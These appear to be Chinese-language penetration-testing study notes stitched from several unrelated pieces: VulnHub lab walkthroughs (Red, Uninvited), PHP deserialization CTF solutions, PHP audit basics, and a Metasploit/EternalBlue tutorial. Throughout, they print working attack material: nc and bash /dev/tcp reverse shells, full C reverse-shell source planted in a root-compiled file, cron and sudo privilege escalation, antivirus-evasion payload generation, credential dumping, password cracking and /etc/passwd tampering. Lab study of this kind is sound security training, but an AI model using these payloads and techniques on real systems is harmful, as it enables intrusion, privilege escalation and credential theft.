set PASSWORD jerome
set Proxies http:192.168.184.142:8080
set ReverseAllowProxy true
show options
run执行
拿到权限
?
sysinfo
meterpreter > sysinfo
Computer : jerome
OS : Linux jerome 4.15.0-46-generic #49-Ubuntu SMP Wed Feb 6 09:33:07 UTC 2019 x86_64
Meterpreter : php/linux #后门程序所使用的语言
shell -t
cat /etc/crontab
发现自启动文件/usr/share/simulate.sh
,查看此脚本
meterpreter > cat simulate.sh
#
# This script simulates human behaviour from the root account
#
while true
do
cd /home/jerome;
ls;
sleep 120;
done
#下载此脚本
download simulate.sh
分析自启动文件里的simulate
脚本,发现会在加目录以root的权限执行ls
,所以我们在家目录创建ls脚本,编写ls脚本,因为在当前目录下,执行ls的时候,会优先执行当前文件夹下的命令
在家目录中追加ls,写入nc调用命令
shell -t #开启交互式
echo "nc -e /bin/bash 192.168.184.128 8888" >> ls #用nc调用命令链接kali,写入到ls文件,反弹shell
chmod 777 ls
chmod 777 ls
变为所有人可执行
rlwrap nc -lvvp 8888
等待120s以后,脚本执行成功
python3 -c 'import pty; pty.spawn("/bin/bash")' #开启交互式
利用了反序列化技术,注入了某些数据,从而触发了程序中的其他漏洞,触发了SQL注入、命令执行等
把字节序列恢复为对象的过程称为对象的反序列化。当两个进程在进行远程通信时,彼此可以发送各种类型的数据,而且无论是何种类型的数据,都会以二进制序列的形式在网络上传送。
存储数字的二进制长度是固定的,所以不需要长度
会转换为科学计数法,但是会损失一定的精度
有类的序列化
O:1:"S":1:{s:4:"test";s:7:"pikachu";}
O 是一个类
1 代表类名的长度
S 类名
1 参数数量
{} 具体的参数序列化值
__construct()
//创建对象时触发
__destruct()
//对象被销毁时触发
__call()
//在对象上下文中调用不可访问的方法时触发
__callStatic()
//在静态上下文中调用不可访问的方法时触发
__get()
//用于从不可访问的属性读取数据
__set()
//用于将数据写入不可访问的属性
__isset()
//在不可访问的属性上调用isset()或empty()触发
__unset()
//在不可访问的属性上使用unset()时触发
__invoke()
//当脚本尝试将对象调用为函数时触发
O:1:"S":1:{s:4:"test";s:30:"";}
可以通过不同的序列化的值调用不同的函数
<?php
error_reporting(0);
include "flag.php";
$KEY = "hahaha";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
echo $flag;
}
show_source(__FILE__);
?>
hahaha
序列化s:6:"hahaha";
<?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY") #此时的KEY是空值
{
echo $flag;
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Password"></p>
<p><input value="Login" type="button"/></p>
</form>
</div>
</body>
</html>
<?php
}
$KEY='ISecer:www.isecer.com';
?>
s:0:"";
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed1!");
} else {
$this->output("Failed2!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename,FILE_USE_INCLUDE_PATH);
}
return $res;
}
private function output($s) {
echo "[Result]:
";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
class FileHandler {
public $op = '4';
public $filename = 'glag.php';
public $content = 'YikJiang';
}
$aaa = new FileHandler;
echo serialize($aaa);
?>
O:11:"FileHandler":3:{s:2:"op";s:1:"4";s:8:"filename";s:8:"glag.php";s:7:"content";s:8:"YikJiang";}
function __destruct() {
if($this->op === "2") #等于2的话修改为1,所以无法进入process,所以利用===和==的区别,修改为 2,这样可以跳过===,而==可以正确匹配
$this->op = "1";
$this->content = ""; #无论写什么都会变为空,所以不可以进行写操作
$this->process();
}
===等于号表示严格匹配,而process()
方法里的只有两个=,代表正常匹配,我们可以将 空格2 序列化,这样的话此代码结果为Flash,就可以跳过
class FileHandler {
public $op = ' 2';
public $filename = 'flag.php';
public $content = '';
}
$aaa = new FileHandler;
echo serialize($aaa);
?>
O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}
PHP版本7.2.10,此时相当于拿取到了Flag
代码审计,是对应用程序源代码进行系统性检查的工作。
echo()
输出一个字符串或变量,但是不能输出数组。
print_r()
输出一个数组
var_dump()
输出一个变量的结构,这个变量包含普通变量、数组、对象等
$cars=array("Lebron","James","King");
var_dump ($cars);
?>
array(3) {
[0]=>
string(6) "Lebron"
[1]=>
string(5) "James"
[2]=>
string(4) "King"
}
get_defined_vars(void)
此函数返回一个包含当前可用的变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。在函数中使用此函数可以调试函数中的变量,而不会返回其他的变量。
$GLOBALS
变量 此函数返回所有全局变量
get_defined_functions(void)
获取所有已经定义的函数,包含内部函数和用户定义的函数。
$hhh=get_defined_funtions();
var_dump($hhh['user']);
get_defined_constants(void)
返回所有可用的常量,包含系统常量和用户定义的常量。
get_declared_classes(void)
返回所有可用的类,包含系统类和用户定义的类。
get_included_files()
返回包含的文件路径的数组,included 和 required 的包含文件
exit
或 die
输出一个消息并退出程序执行。
include、include_once、require、require_onceinclude/require
$GLOBALS 全局调用
$_SERVER 访问信息获取
$_REQUEST 全部接受
$_POST 接受POST
$_GET 接受GET
$_FILES 文件上传
$_ENV 系统环境变量
$_COOKIE 处理COOKIE
$_SESSION 处理SESSION
$GLOBALS
//$GLOBALS说明全局变量
//由于 z 是 $GLOBALS 数组中的变量,因此在函数之外也可以访问它。
$x = 75;
$y = 25;
function test() {
$GLOBALS['z'] = $GLOBALS['x'] + $GLOBALS['y'];
}
test();
echo $z."
";
?>
----------------------------------------
100
$_REQUEST
//REQUEST说明 全接收
$g=@$_GET['g'];
$p=@$_POST['p'];
$c=@$_COOKIE['c'];
$r=@$_REQUEST['r'];
echo $g."
";
echo $p."
";
echo $c."
";
echo $r."
";
?>
下载插件HackBar
即支持GET也支持POST
$_FILES
//$_FILES文件上传
echo "客户端文件名:".$_FILES['upfile']['name']."
";
echo "文件类型:".$_FILES['upfile']['type']."
";
echo "字节大小:".$_FILES['upfile']['size']."
";
$_SERVER
//$_SERVER访问信息获取
echo $_SERVER['PHP_SELF'];
echo "
";
echo $_SERVER['SERVER_NAME'];
echo "
";
echo $_SERVER['HTTP_HOST'];
echo "
";
echo $_SERVER['HTTP_REFERER'];
echo "
";
echo $_SERVER['HTTP_USER_AGENT'];
echo "
";
echo $_SERVER['SCRIPT_NAME'];
echo "
";
exit();
$_COOKIE
//$_COOKIE获取cookie
var_dump($_COOKIE);
echo '
';
exit();
$_SESSION
//$_SESSION获取session
$_SESSION['name']="admin";
$_SESSION['password']=123456;
echo "file:".$_SERVER["PHP_SELF"]."
";
echo "name:".$_SESSION['name']."
";
echo "pass:".$_SESSION['password']."
";
?>
PHP版本需要切换到5.4.45
function getIP()
{
static $realip;
if (isset($_SERVER)){
if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])){
$realip = $_SERVER["HTTP_X_FORWARDED_FOR"];
} else if (isset($_SERVER["HTTP_CLIENT_IP"])) {
$realip = $_SERVER["HTTP_CLIENT_IP"];
} else {
$realip = $_SERVER["REMOTE_ADDR"];
}
} else {
if (getenv("HTTP_X_FORWARDED_FOR")){
$realip = getenv("HTTP_X_FORWARDED_FOR");
} else if (getenv("HTTP_CLIENT_IP")) {
$realip = getenv("HTTP_CLIENT_IP");
} else {
$realip = getenv("REMOTE_ADDR");
}
}
return $realip;
}
?>
function ywdd($ip){
$SQL="SELECT * FROM `dd` WHERE `ip` LIKE '".$ip."'LIMIT 0 , 30";
$FH=mysql_query($SQL);
while($sj=mysql_fetch_array($FH)){
echo("
".$sj['u']."
".$sj['m']."
|".$sj['d']."
");
}
由于IP没有进行过滤会直接写入,所以我们可以伪造IP,进行SQL注入尝试
增加X-Forwarded-For: 8.8.8.8
X-Forwarded-For: 8.8.8.8*
sqlmap -r 1.txt
数据库扫描
sqlmap -r 1.txt --dbs
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
[*] pikachu
[*] pkxss
[*] yang
# 靶机地址
http://www.vulnhub.com/entry/red-1,753/
#
https://www.cnblogs.com/sainet/p/15646227.html
https://blog.csdn.net/weixin_45377713/article/details/122029268
参考:https://blog.csdn.net/weixin_37909391/article/details/80691601
ctrl+x
:保存并启动
ip add ens33
/etc/netplan/00-installer-config.yaml
文件内容22/tcp open ssh syn-ack ttl 64 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.41 ((Ubuntu))
http-generator: WordPress 5.8.1
通过查看80端口的网页源代码,发现域名 redrocks.win
192.168.184.143 redrocks.win
robots.txt
User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php
Sitemap: http://redrocks.win/wp-sitemap.xml
wpscan --url http://redrocks.win -e u --api-token
WordPress version 5.8.1 #版本信息
administrator #用户名
searchsploit wordpress 5.8.1
探测文件,寻找后门
gobuster dir -u http://192.168.184.143/ -w /usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt -t 20
/NetworkFileManagerPHP.php
访问时页面为空,符合后门特征
查找后门变量
wfuzz -c -u 'http://redrocks.win//NetworkFileManagerPHP.php?FUZZ=test' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt --hc 0 -t 20
由于拿到密码,为key,所以尝试读取目录
成功读取,开始爆破目录
目录信息
可以看到,除了root以外还存在四个账户,直接读取wp-config.php
不成功,所以需要使用php协议读取php://filter/convert.base64-encode/resource=wp-config.php
解码后发现了用户名和密码的信息
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'john' );
define( 'DB_PASSWORD', 'R3v_m4lwh3r3_k1nG!!' );
define( 'DB_HOST', 'localhost' );
登录失败
通过读取/NetworkFileManagerPHP.php,发现
$file = $_GET['key'];
if(isset($file))
{
include("$file");
}
else
{
include("NetworkFileManagerPHP.php");
}
/* VGhhdCBwYXNzd29yZCBhbG9uZSB3b24ndCBoZWxwIHlvdSEgSGFzaGNhdCBzYXlzIHJ1bGVzIGFyZSBydWxlcw== */
?>
VGhhdCBwYXNzd29yZCBhbG9uZSB3b24ndCBoZWxwIHlvdSEgSGFzaGNhdCBzYXlzIHJ1bGVzIGFyZSBydWxlcw==
That password alone won't help you! Hashcat says rules are rules
hashcat的规则有很多,不过鉴于信息是由base64提供的,选择bset64规则进行hash碰撞hashcat --force pass -r /usr/share/hashcat/rules/best64.rule --stdout > pswd
求得突变密码的列表
hashcat --force R3v_m4lwh3r3_k1nG!! -r /usr/share/hashcat/rules/best64.rule --stdout > pswd
由于显卡原因,使用Winodws版hashcat
hashcat.exe --force passwd.txt -r rules/best64.rule --stdout > 123.txt
将密码本拷贝到kali当中
hydra -l john -P /tmp/123.txt -f 192.168.184.143 ssh
r3v_m4lwh3r3_k1nG!!
ssh密码每隔一段时间就会从密码列表里提取密码修改
ssh [email protected]
成功登录
但是会存在干扰
查看时发现 cat 命令成了 vim,vim 命令成了 cat
sudo -l
(ippsec) NOPASSWD: /usr/bin/time
# 执行time的时候以ippsec的权限执行
bash -c 'exec bash -i &>/dev/tcp/192.168.184.128/8888 <&1' #反弹shell
执行sudo -u ippsec /usr/bin/time /bin/bash
切换到ippsec用户
python3 -c 'import pty;pty.spawn("/bin/bash")'
网站目录下的wordpress目录内有个.git目录,里面有两个文件,rev和supersecretfileuc.c,rev是supersecretfileuc.c编译的程序,执行会输出信息,就是red时不时弹出的骚扰信息,将rev删除后过段时间会重新编译,并且是root权限。
删掉这两个文件,用revshells.com网站生成C的反弹shell程序,通过http服务将其传到目标机器写入supersecretfileuc.c
下载并运行 pspy64s 检查,看看系统在跑哪些进程。下载pspy64s,赋权并运行:
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s
chmod +x pspy64s
./pspy64s
这应该是他对系统的后门,查看一下这个 supersecretfileuc.c 文件:
发现是定时弹出的脚本,可以上传一个 C 编写 shell,替代 supersecretfileuc.c 文件,然后等待 shell 连接:
先删除 /var/www/wordpress/.git/supersecretfileuc.c 和 rev 文件
写入 C 编写的 shell 替换掉原来的 supersecretfileuc.c,kali 上开启 http 服务上传
#include
#include
#include
#include
#include
#include
#include
int main(void){
int port = 9999; // 端口
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("192.168.184.128"); //kali IP
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"sh", NULL};
execve("/bin/bash", argv, NULL);
return 0;
}
kali开启监听
rlwrap nc -lvvp 9999
python3 -m http.server 80
靶机下载新的文件
wget http://192.168.184.128/supersecretfileuc.c
Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。在kali中,自带了Metasploit工具。我们接下来以大名鼎鼎的永恒之蓝MS17_010漏洞为切入点,讲解MSF框架的使用。
msfconsole #进入框架
search ms17_010 # 使用search命令查找相关漏洞
search name:mysql / pathiscasearch usermap_script/ type:aux / author:aaron #可多条件搜索
use exploit/windows/smb/ms17_010_eternalblue # 使用use进入模块
show info #使用info查看模块信息
set payload windows/x64/meterpreter/reverse_tcp #设置攻击载荷
show options #查看模块需要配置的参数
set RHOST 192.168.100.158 #设置参数
exploit / run #攻击
后渗透阶段 #后渗透阶段
apt-get install metasploit-framework #升级框架
auxiliary/scanner/discovery/arp_sweep 本地网路探测:
1.配置IP地址端 set rhost 192.168.52.0/24
2.启动扫描 run
auxiliary/scanner/portscan/tcp 端口扫描
1.配置IP set rhost 192.168.52.145
2.配置端口 set rport 1-65535
3.启动扫描 run
auxiliary/scanner/smb/smb_ms17_010 永恒之蓝漏洞测试
1.配置IP set rhost 192.168.52.145
2.启动扫描 run
windows/smb/ms17_010_eternalblue 永恒之蓝漏洞利用
1.配置IP set rhosts 192.168.52.145
2.启动攻击 run
exploit/windows/smb/psexec 通过smb获取系统权限
1.配置IP set rhost 192.168.52.145
2.配置账号 set smbuser administrator
3.配置密码 set smbpass 123@qwe
4.启动攻击 run
生成payload:
1.use payload/windows/x64/shell/reverse_tcp 进入tcp反弹模块
2.set lhost 192.168.52.142 设置反弹IP
3.set lport 9999 设置监听端口
4.generate -f exe -o /tmp/1.exe 生成payload
开启监听:
1. use exploit/multi/handler 建立监听
2.set lhost 192.168.52.142 配置监听IP
3.set lport 9999 配置监听端口
4.set payload windows/x64/shell/reverse_tcp 配置payload类型
5.run 启动监听
生成免杀payload:
1.use evasion/windows/windows_defender_js_hta 进入免杀生成模块
ctrl+z
和ctrl+c
的区别
Ctrl+C中断了进程,返回到终端界面。
Ctrl+Z暂停了进程,返回到终端界面。
jobs查看暂停的进程
fg %name 恢复指定进程
Module options (auxiliary/scanner/discovery/arp_sweep):
Name Current Setting Required Description
---- --------------- -------- -----------
INTERFACE no The name of the interface
RHOSTS 192.168.72.0/24 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
SHOST no Source IP Address
SMAC no Source MAC Address
THREADS 10 yes The number of concurrent threads (max one per host)
TIMEOUT 5 yes The number of seconds to wait for new data
Module options (auxiliary/scanner/portscan/syn):
Name Current Setting Required Description
---- --------------- -------- -----------
BATCHSIZE 256 yes The number of hosts to scan per set
DELAY 0 yes The delay between connections, per thread, in milliseconds
INTERFACE no The name of the interface
JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS 400-500 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS 192.168.72.130 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
SNAPLEN 65535 yes The number of bytes to capture
THREADS 20 yes The number of concurrent threads (max one per host)
TIMEOUT 500 yes The reply read timeout in milliseconds
Module options (auxiliary/scanner/smb/smb_ms17_010):
Name Current Setting Required Description
---- --------------- -------- -----------
CHECK_ARCH true no Check for architecture on vulnerable hosts
CHECK_DOPU true no Check for DOUBLEPULSAR on vulnerable hosts
CHECK_PIPE false no Check for named pipe on vulnerable hosts
NAMED_PIPES /usr/share/metasploit-framework/data/word yes List of named pipes to check
lists/named_pipes.txt
RHOSTS 192.168.72.130 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wik
i/Using-Metasploit
RPORT 445 yes The SMB service port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 10 yes The number of concurrent threads (max one per host)
探测是否存在漏洞
Kali监听4444端口接受反弹Shell
上传文件
上传成功
? #查看当前的命令
sysinfo #查看当前系统信息
ls #查看内容
lcd #查看本地内容
pwd #查看当前目录
lpwd #查看本地当前目录
load -l #查看插件列表
load kiwi #下载插件kiwi
creds-all
成功获取账号密码
实用工具(如 Telnet)和远程控制程序(如 Symantec 的 PC Anywhere)使您可以在远程系统上执行程序,但安装它们非常困难,并且需要您在想要访问的远程系统上安装客户端软件。PsExec 是一个轻型的 telnet 替代工具,它使您无需手动安装客户端软件即可执行其他系统上的进程,并且可以获得与控制台应用程序相当的完全交互性。
可以利用445端口进行命令执行
msf6 exploit(windows/smb/psexec) > show options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.72.130 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploi
t
RPORT 445 yes The SMB service port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SMBDomain . no The Windows domain to use for authentication
SMBPass panshi123qwE no The password for the specified username
SMBSHARE no The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folde
r share
SMBUser administrator no The username to authenticate as
https://www.catalog.update.microsoft.com/search.aspx?q=kb4012212
安装成功后重启计算机
发现攻击失败
发现成功登录
生成各种系统,可以进行远程控制的二进制程序。配合exp模块对目标进行攻击,并获取权限。也可以单独生成payload,进行被动攻击。
主动攻击与被动攻击:
generate
十六进制表示
-b #去除坏字节
generate -b "\x00\xff" #防止被cpu误认为终端命令(没用删除,只是通过编码方式改变值)
generate -b "\x00\xff\x60" #也可隐藏其他字符进行免杀
-f # 根据代码生成指定的文件
-o # 输入文件
-i #可以进行多次编码,进行免杀
generate -b "\x00\xff\x60" -f jsp -o /tmp/1.jsp
生成成功
generate -b "\x00\xff\x60" -f exe -o /tmp/1.exe
未开启4444端口
netstat -an | more
成功开启4444端口
use exploit/multi/handler
set payload windows/x64/shell/bind_tcp # 发送端和接收端要对应
run
缺点
让目标主机访问自己的主机,可以更具隐蔽性,k可以防止防火墙
windows/x64/powershell_reverse_tcp
generate -b "/x00/xff" -f exe -o /tmp/123.exe
use exploit/multi/handler
set payload windows/x64/powershell_reverse_tcp
run
#靶机地址
http://www.vulnhub.com/entry/uninvited-1,523/
#参考
https://h4ckron.medium.com/hack-vulnhub-uninvited-e1b2bddce453
https://noxious.tech/posts/Uninvited/
Discovered open port 80/tcp on 192.168.72.131
Discovered open port 60000/tcp on 192.168.72.131
Discovered open port 7894/tcp on 192.168.72.131
robots.txt
http://192.168.72.131:60000/robots.txt
访问80端口和60000端口,但是60000端口无法正常加载,我们尝试读取源码,发现包含fieldforce
,将其放入hosts尝试再次访问60000端口;并在80端口的源码中发现以下Base64数据
80端口
WWVhaCEgSSBrbm93IGl0IGhhcHBlbnMuLi4gSSBndWVzcyB1IG1pZ2h0IHdhbnQgdG8gYWRkIHRoaXMgW2ZpZWxkZm9yY2VdIHRvIHlvdXIgaG9zdHM=
#解码后为
Yeah! I know it happens... I guess u might want to add this [fieldforce] to your hosts
提示我们将fieldforce添加到hosts中
60000端口
192.168.72.131 fieldforce
再次访问发现成功访问,同理在Kali中指定DNS解析
wpscan --url http://fieldforce:60000/ -e u --api-token
WordPress version 5.4.10 #获取到了版本信息
发现了两个账户名
gobuster dir -u http://fieldforce:60000/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 200 -q #-q 表示快速查询
/rss2 (Status: 200) [Size: 30003]
/rss (Status: 200) [Size: 1083]
/rdf (Status: 200) [Size: 29822]
/page1 (Status: 200) [Size: 20009]
/wp-admin (Status: 301) [Size: 320] [--> http://fieldforce:60000/wp-admin/]
/backdoor (Status: 302) [Size: 0] [--> http://fieldforce:60000/backdoor/]
我们访问/backdoor
页面
cewl http://fieldforce:60000/ --with-numbers -d 2 -m 4 -w wordlist.txt
-d:表示深度
-m:最小的长度
wpscan --url http://fieldforce:60000/ -P /tmp/wordlist.txt
Username: elliot, Password: wh1ter0se
Username: Elliot, Password: wh1ter0se
成功登录
https://pentestmonkey.net/tools/web-shells/php-reverse-shell
rlwrap nc -lvvp 9999
访问不存在的界面,会自动跳转到404界面,然后代码执行成功,kali成功获取权限
python3 -c 'import pty;pty.spawn("/bin/bash")'
在home目录下发现了用户名demodocker,继续探索
似乎我们在一个docker容器中,然后,我们发现一个包含提示的注释,在/home/demodocker/.local目录下发现了note.txt
ZW5jb2RlZCB0d2ljZSBMUzB0YVhBdExTMHZabk52WTJsbGRIa3VaWGhs
encoded twice LS0taXAtLS0vZnNvY2lldHkuZXhl
---ip---/fsociety.exe
fsociety.exe
wget http://192.168.72.131/fsociety.exe
wine
执行程序 可以在linux下执行winodws程序
wine fsociety.exe
USERNAME : elliot
PASSWORD : mrrobot
nc
监听 由于靶机未安装nc,所以我们让其下载kali端的nc
cp /etc/alternatives/nc /tmp/nc
python3 -m http.server 80
wget http://192.168.72.129/nc
chmod +x nc #增加权限
./nc -lvp 8888
成功获取权限
当我们运行cd命令时,获得的会话将关闭,因此我们可以以读取私有ssh密钥为目标,以获得更稳定的shell
ssh-keygen -t rsa -b 4096 -v
生成一个公钥一个私钥
将靶机的私钥赋值到kali当中
chmod 600 id_rsa
我们通过 ssh 得到一个 shell 日志记录,在本例中,它在端口 7894 上运行
ssh [email protected] -i id_rsa -p 7894 #7894为nmap扫描出来的SSH端口
发现第二个用户
jeevan
我们发现,对于/etc/passwd
文件,我们有写入的权限
因此,我们可以使用openssl生成一个新密码,然后使用文本编辑器修改
openssl passwd 123123
omZuo2kVpn9HY
可以将x位置修改为密码。
进入root